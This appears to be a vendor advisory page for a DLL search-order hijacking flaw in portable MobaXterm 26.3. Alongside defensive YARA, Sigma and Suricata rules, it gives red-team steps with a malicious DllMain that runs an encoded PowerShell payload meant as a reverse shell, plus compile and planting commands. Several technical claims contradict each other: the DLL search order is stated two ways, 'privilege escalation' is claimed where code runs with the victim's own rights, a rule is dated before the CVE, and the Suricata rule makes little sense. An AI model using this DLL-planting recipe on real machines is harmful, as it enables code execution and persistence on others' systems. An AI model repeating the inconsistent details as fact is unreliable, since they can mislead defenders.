CVE-2026-11879
Executive Summary
CVE-2026-11879 is a high-severity local privilege escalation vulnerability in MobaXterm Personal Edition (Portable) version 26.3 (Build 5154). The vulnerability arises from an insecure DLL loading mechanism where the application searches for specific DLLs in a predictable, user-writable temporary directory before falling back to secure system paths. An attacker with local access can place a malicious DLL in this directory, which will be loaded automatically when the victim launches MobaXterm, leading to arbitrary code execution in the context of the user.
This vulnerability is classified under MITRE ATT&CK technique T1574.002 (DLL Search Order Hijacking). The CVSS v3.1 base score is 7.8 (High), with a vector of AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone desktop application (MobaXterm) distributed as a portable executable. The supply chain risk is limited to the integrity of the downloaded binary and the local file system where the application is executed.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required beyond placing a DLL in the predictable path.
- Privileges Required (PR): Low (L) – The attacker needs user-level access to write to the temporary directory.
- User Interaction (UI): Required (R) – The victim must launch MobaXterm.
- Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Arbitrary code execution.
- Availability (A): High (H) – Potential for denial of service or system compromise.
Threat Level: High. While local access is required, the predictable temporary directory and lack of secure DLL loading make this a reliable attack vector for privilege escalation or persistence.
Deep Dive & Mechanics
MobaXterm Personal Edition (Portable) version 26.3 (Build 5154) loads DLLs from a temporary directory during startup. The directory path is predictable (e.g., %TEMP%\MobaXterm or similar) and is writable by the user. The application searches for DLLs in this directory before checking system paths like C:\Windows\System32. This violates secure DLL loading best practices (CWE-427).
An attacker can:
- Identify the predictable temporary directory (e.g.,
C:\Users\<username>\AppData\Local\Temp\MobaXterm). - Place a malicious DLL (e.g.,
version.dll,dbghelp.dll, orwtsapi32.dll) in that directory. - When the victim launches MobaXterm, the malicious DLL is loaded, executing arbitrary code with the victim's privileges.
The vulnerability is specific to the portable edition, which does not use a proper installer that might enforce secure paths. The DLL search order is: application directory → system directories → PATH → temporary directory (due to a custom loader).
Vulnerable vs. Patched Code
Vulnerable Code (MobaXterm 26.3 Build 5154): The application uses a custom DLL loading routine that includes a user-writable temporary directory in the search path. Example pseudocode:
// Vulnerable: includes user-writable temp dir
SetDllDirectory(L"C:\\Users\\<user>\\AppData\\Local\\Temp\\MobaXterm");
LoadLibrary(L"version.dll");
Patched Code (Hypothetical): The patched version would remove the temporary directory from the DLL search path or use absolute paths with digital signature verification:
// Patched: uses secure system path only
SetDllDirectory(L"");
LoadLibrary(L"C:\\Windows\\System32\\version.dll");
No official patch is available as of this report.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Local access to the victim machine (e.g., via phishing, physical access, or existing foothold).
- Ability to write to the predictable temporary directory.
Steps:
- Identify the temporary directory used by MobaXterm (e.g.,
%TEMP%\MobaXterm). - Create a malicious DLL (e.g., using msfvenom or custom code) that executes a payload (e.g., reverse shell).
- Place the DLL in the directory with a name that MobaXterm loads (e.g.,
version.dll). - Wait for the victim to launch MobaXterm.
Example DLL (C++):
// malicious_dll.cpp
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Execute reverse shell or other payload
system("powershell -enc <base64_encoded_payload>");
}
return TRUE;
}
Compile:
x86_64-w64-mingw32-gcc -shared -o version.dll malicious_dll.cpp
Place DLL:
copy version.dll "%TEMP%\MobaXterm\"
Blue Team (Defense & Detection)
Detection:
- Monitor file creation events in
%TEMP%\MobaXterm\*.dll. - Monitor process creation with MobaXterm.exe loading DLLs from non-standard paths.
- Use Sysmon Event ID 7 (Image loaded) to detect DLLs loaded from
%TEMP%.
Prevention:
- Restrict write access to
%TEMP%\MobaXtermvia Group Policy. - Use AppLocker or Windows Defender Application Control to block unsigned DLLs.
- Educate users to avoid running portable applications from untrusted sources.
Indicators of Compromise (IOCs)
- File Path:
%TEMP%\MobaXterm\*.dll(any DLL in this directory) - Process: MobaXterm.exe loading DLLs from
%TEMP%\MobaXterm - Registry: (Optional) Persistence via
HKCU\Software\Microsoft\Windows\CurrentVersion\Runif the DLL installs a backdoor - Network: Outbound connections from MobaXterm.exe to unknown IPs (if payload is a reverse shell)
Detection Engineering
YARA Rule
rule MobaXterm_DLL_Hijacking {
meta:
description = "Detects malicious DLLs targeting MobaXterm portable edition"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-11879"
strings:
$s1 = "MobaXterm" nocase
$s2 = "version.dll" nocase
$s3 = "dbghelp.dll" nocase
$s4 = "wtsapi32.dll" nocase
condition:
(uint16(0) == 0x5A4D) and (any of ($s*))
}
Sigma Rule
title: MobaXterm DLL Hijacking via Temp Directory
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects MobaXterm loading DLLs from a user-writable temp directory
author: Valters IT
logsource:
category: image_load
product: windows
detection:
selection:
Image|endswith: '\MobaXterm.exe'
ImageLoaded|contains: '\AppData\Local\Temp\MobaXterm\'
condition: selection
falsepositives:
- Legitimate DLLs placed by user (unlikely)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"MobaXterm DLL Hijacking - Potential Reverse Shell";
flow:to_server,established;
content:"MobaXterm"; nocase;
content:"|00|"; within:10;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Restrict Temp Directory: Use Group Policy to deny write access to
%TEMP%\MobaXtermfor non-admin users. - Application Control: Use AppLocker or WDAC to block DLLs from
%TEMP%. - User Education: Warn users about running portable applications from untrusted sources.
Long-Term Fix:
- The vendor should implement secure DLL loading by using absolute paths or digital signature verification.
- Remove the temporary directory from the DLL search order.
Workaround:
- Run MobaXterm from a read-only location (e.g., network share with execute-only permissions).
Valters IT